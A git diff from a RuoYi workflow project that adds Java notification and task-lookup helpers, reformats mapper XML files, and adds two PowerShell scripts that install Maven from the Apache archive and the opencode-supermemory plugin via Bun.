return historicProcessInstance.getBusinessStatus(); + } + + /** + * 发送消息 + * + * @param list 任务 + * @param name 流程名称 + * @param messageType 消息类型 + * @param message 消息内容,为空则发送默认配置的消息内容 + */ + public static void sendMessage(List list, String name, List messageType, String message, UserService userService) { + Set userIds = new HashSet<>(); + if (StringUtils.isBlank(message)) { + message = "有新的【" + name + "】单据已经提交至您的待办,请您及时处理。"; + } + for (Task t : list) { + ParticipantVo taskParticipant = WorkflowUtils.getCurrentTaskParticipant(t.getId(), userService); + if (CollUtil.isNotEmpty(taskParticipant.getGroupIds())) { + List userIdList = userService.selectUserIdsByRoleIds(taskParticipant.getGroupIds()); + if (CollUtil.isNotEmpty(userIdList)) { + userIds.addAll(userIdList); + } + } + List candidate = taskParticipant.getCandidate(); + if (CollUtil.isNotEmpty(candidate)) { + userIds.addAll(candidate); + } + } + if (CollUtil.isNotEmpty(userIds)) { + List userList = userService.selectListByIds(new ArrayList<>(userIds)); + for (String code : messageType) { + MessageTypeEnum messageTypeEnum = MessageTypeEnum.getByCode(code); + if (ObjectUtil.isNotEmpty(messageTypeEnum)) { + switch (messageTypeEnum) { + case SYSTEM_MESSAGE: + WebSocketMessageDto dto = new WebSocketMessageDto(); + dto.setSessionKeys(new ArrayList<>(userIds)); + dto.setMessage(message); + WebSocketUtils.publishMessage(dto); + break; + case EMAIL_MESSAGE: + MailUtils.sendText(StreamUtils.join(userList, UserDTO::getEmail), "单据审批提醒", message); + break; + case SMS_MESSAGE: + //todo 短信发送 + break; + } + } + } + } + } + + /** + * 根据任务id查询 当前用户的任务,检查 当前人员 是否是该 taskId 的办理人 + * + * @param taskId 任务id + * @return 结果 + */ + public static Task getTaskByCurrentUser(String taskId) { + TaskQuery taskQuery = QueryUtils.taskQuery(); + taskQuery.taskId(taskId).taskCandidateOrAssigned(String.valueOf(LoginHelper.getUserId())); + + List roles = LoginHelper.getLoginUser().getRoles(); + if (CollUtil.isNotEmpty(roles)) { + List groupIds = StreamUtils.toList(roles, e -> String.valueOf(e.getRoleId())); + taskQuery.taskCandidateGroupIn(groupIds); + } + return taskQuery.singleResult(); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/package-info.md b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/package-info.md index c938b1e..22087fa 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/package-info.md +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/package-info.md @@ -1,3 +1,3 @@ -java包使用 `.` 分割 resource 目录使用 `/` 分割 -
+java包使用 `.` 分割 resource 目录使用 `/` 分割 +
此文件目的 防止文件夹粘连找不到 `xml` 文件 \ No newline at end of file diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiProcinstMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiProcinstMapper.xml index dd05785..20a9274 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiProcinstMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiProcinstMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiTaskinstMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiTaskinstMapper.xml index 7e73b60..7d9e164 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiTaskinstMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActHiTaskinstMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActTaskMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActTaskMapper.xml index 3641900..79e3fd1 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActTaskMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/ActTaskMapper.xml @@ -1,77 +1,77 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TActivityMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TActivityMapper.xml index 0994c34..ab6b019 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TActivityMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TActivityMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TestLeaveMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TestLeaveMapper.xml index d52f6b0..f8a36b7 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TestLeaveMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/TestLeaveMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfCategoryMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfCategoryMapper.xml index 4375cb2..8802477 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfCategoryMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfCategoryMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfDefinitionConfigMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfDefinitionConfigMapper.xml index 8d579f7..09f1600 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfDefinitionConfigMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfDefinitionConfigMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfFormManageMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfFormManageMapper.xml index 59221f8..166a54c 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfFormManageMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfFormManageMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfNodeConfigMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfNodeConfigMapper.xml index b65194f..bfb2a3d 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfNodeConfigMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfNodeConfigMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfTaskBackNodeMapper.xml b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfTaskBackNodeMapper.xml index 4a9179b..8cb51a2 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfTaskBackNodeMapper.xml +++ b/ruoyi-modules/ruoyi-workflow/src/main/resources/mapper/workflow/WfTaskBackNodeMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/scripts/install_maven.ps1 b/scripts/install_maven.ps1 new file mode 100644 index 0000000..ce78df2 --- /dev/null +++ b/scripts/install_maven.ps1 @@ -0,0 +1,107 @@ +<# +Windows PowerShell script to install Maven 3.6.x+ (binary) on Windows. +This script downloads the binary, extracts it, sets MAVEN_HOME and PATH for the user, +and verifies mvn -version. ASCII-only messages to minimize encoding issues. +Usage: + powershell -ExecutionPolicy Bypass -File scripts/install_maven.ps1 -Version 3.6.3 + powershell -ExecutionPolicy Bypass -File scripts/install_maven.ps1 -Version latest +Notes: +- Version must be a specific 3.6.x (currently supports 3.6.3). +- InstallDir defaults to C:\Program Files\Maven. +- ApiKey is accepted for future use; not used by Maven itself. +""" +#> + +param( + [ValidateSet("latest","3.6.3")] + [string]$Version = "3.6.3", + [string]$InstallDir = "C:\\Program Files\\Maven", + [string]$ApiKey = $null +) + +$ErrorActionPreference = "Stop" + +Write-Host "Installing Maven..." + +if (-Not (Test-Path $InstallDir)) { + try { + New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null + } catch { + $InstallDir = Join-Path $env:USERPROFILE "maven" + if (-Not (Test-Path $InstallDir)) { + New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null + } + } +} + +if ($Version -eq "latest") { + Write-Error "Latest version not auto-resolved in this script. Please specify 3.6.3." + exit 1 +} + +$zipName = "apache-maven-$Version-bin.zip" +$url = "https://archive.apache.org/dist/maven/maven-3/$Version/binaries/$zipName" +$tempZip = Join-Path $env:TEMP $zipName +$destDir = Join-Path $InstallDir "apache-maven-$Version" + +if (Test-Path $destDir) { + Write-Host "Maven already installed at $destDir"; exit 0 +} + +Write-Host "Downloading Maven $Version..." +$maxRetries = 3 +$attempt = 0 +while ($attempt -lt $maxRetries) { + try { + Invoke-WebRequest -Uri $url -OutFile $tempZip -ErrorAction Stop + break + } catch { + $attempt++ + if ($attempt -ge $maxRetries) { + Write-Error "Failed to download Maven after $maxRetries attempts. Please check network and proxy settings." + exit 1 + } + Write-Warning "Download failed. Retrying ($attempt/$maxRetries)..." + Start-Sleep -Seconds 5 + } +} + +Write-Host "Extracting to $InstallDir..." +Expand-Archive -Path $tempZip -DestinationPath $InstallDir -Force + +$mavenHome = (Join-Path $InstallDir "apache-maven-$Version").TrimEnd('\\') +if (-Not (Test-Path $mavenHome)) { + Write-Error "Extraction failed: Maven directory not found: $mavenHome" + exit 1 +} + +# Set MAVEN_HOME and PATH (user scope) +Write-Host "Configuring environment variables..." +[Environment]::SetEnvironmentVariable("MAVEN_HOME", $mavenHome, [EnvironmentVariableTarget]::User) + $binPath = Join-Path $mavenHome "bin" + $sep = [System.IO.Path]::PathSeparator + $pathValue = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::User) + if (-not ($pathValue -and $pathValue -like "*$binPath*")) { + if (-not $pathValue) { $newPath = $binPath } else { $newPath = $pathValue + $sep + $binPath } + [Environment]::SetEnvironmentVariable("PATH", $newPath, [EnvironmentVariableTarget]::User) + Write-Host "PATH updated to include $binPath" + } else { + Write-Host "PATH already includes Maven bin: $binPath" + } + +Write-Host "Verifying mvn version..." +try { + $mvnVer = & "$mavenHome\\bin\\mvn" -version + Write-Host $mvnVer +} catch { + Write-Error "Could not run mvn. Ensure PATH is set correctly and reopen a new terminal." + exit 1 +} + +Write-Host "Maven installation complete." + +if (-not [string]::IsNullOrEmpty($ApiKey)) { + Write-Host "Note: API key provided, but not used by Maven." +} + +Exit 0 diff --git a/scripts/install_opencode_supermemory.ps1 b/scripts/install_opencode_supermemory.ps1 new file mode 100644 index 0000000..b55cc21 --- /dev/null +++ b/scripts/install_opencode_supermemory.ps1 @@ -0,0 +1,88 @@ +<# +OpenCode 插件安装脚本:install_opencode_supermemory.ps1 +功能:在 Windows 环境下,使用本地 bun.exe 安装 opencode-supermemory 插件,支持指定版本或 latest,并可注入 SUPERMEMORY_API_KEY。 +用法示例: +- 指定版本安装:powershell -ExecutionPolicy Bypass -File scripts\install_opencode_supermemory.ps1 -Version 3.3.8 -ApiKey "sm_你的密钥" +- 安装最新版本:powershell -ExecutionPolicy Bypass -File scripts\install_opencode_supermemory.ps1 -Version latest +#> + +param( + [ValidateSet("latest","3.3.8")] + [string]$Version = "3.3.8", + [string]$BunExePath = "C:\\Soft\\bun-windows-x64\\bun.exe", + [string]$ApiKey +) + +$ErrorActionPreference = "Stop" + +Write-Host "---------- OpenCode: Install opencode-supermemory ----------" + +if (-Not (Test-Path $BunExePath)) { + Write-Error "Bun 可执行文件未找到:$BunExePath" + Write-Host "请确保 bun.exe 位于该路径,或调整参数 -BunExePath。" + exit 1 +} + +# 1) 将 Bun 目录加入用户 PATH(确保会话后续可用) +$bunDir = [System.IO.Path]::GetDirectoryName($BunExePath) +try { + $currentPath = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::User) + $paths = @($currentPath -split ";" | Where-Object { $_ -and $_ -ne $null }) + if (-Not ($paths -contains $bunDir)) { + $newPath = $currentPath + ";" + $bunDir + [Environment]::SetEnvironmentVariable("PATH", $newPath, [EnvironmentVariableTarget]::User) + Write-Host "PATH 已更新,已包含 Bun 目录:$bunDir (用户作用域)" + } else { + Write-Host "PATH 已包含 Bun 目录:$bunDir" + } +} catch { + Write-Warning "无法更新 PATH:$($_.Exception.Message)" +} + +# 2) 验证 bun 与 bunx 是否可用 +try { + $bunVer = & "${BunExePath}" --version + Write-Host "Bun 版本:$bunVer" + $bunxPath = Join-Path $bunDir "bunx.exe" + if (Test-Path $bunxPath) { + $bunxVer = & "$bunxPath" --version + Write-Host "Bunx 版本:$bunxVer" + } else { + Write-Host "未找到 bunx.exe,将使用 bun.exe 进行安装。" + } +} catch { + Write-Error "无法验证 Bun:$($_.Exception.Message)" + exit 1 +} + +# 3) 安装插件 +if ($Version -eq "latest") { + $installTarget = "opencode-supermemory@latest install" +} else { + $installTarget = "opencode-supermemory@${Version} install" +} + +try { + if (Test-Path (Join-Path $bunDir "bunx.exe")) { + & (Join-Path $bunDir "bunx.exe") $installTarget + } else { + & (Join-Path $bunDir "bun.exe") $installTarget + } +} catch { + Write-Error "安装插件失败: $($_.Exception.Message)" + exit 1 +} + +# 4) 设置 SUPERMEMORY_API_KEY(若提供) +if (-not [string]::IsNullOrEmpty($ApiKey)) { + [Environment]::SetEnvironmentVariable("SUPERMEMORY_API_KEY", $ApiKey, [EnvironmentVariableTarget]::User) + Write-Host "SUPERMEMORY_API_KEY 已设置(用户级变量)" +} elseif ($Env:SUPERMEMORY_API_KEY) { + Write-Host "检测到已有 SUPERMEMORY_API_KEY 环境变量。" +} else { + Write-Host "未提供 SUPERMEMORY_API_KEY。若要使用云记忆,请提供密钥。" +} + +Write-Host "安装流程完成。请重新打开终端以刷新 PATH 与环境变量。" + +Exit 0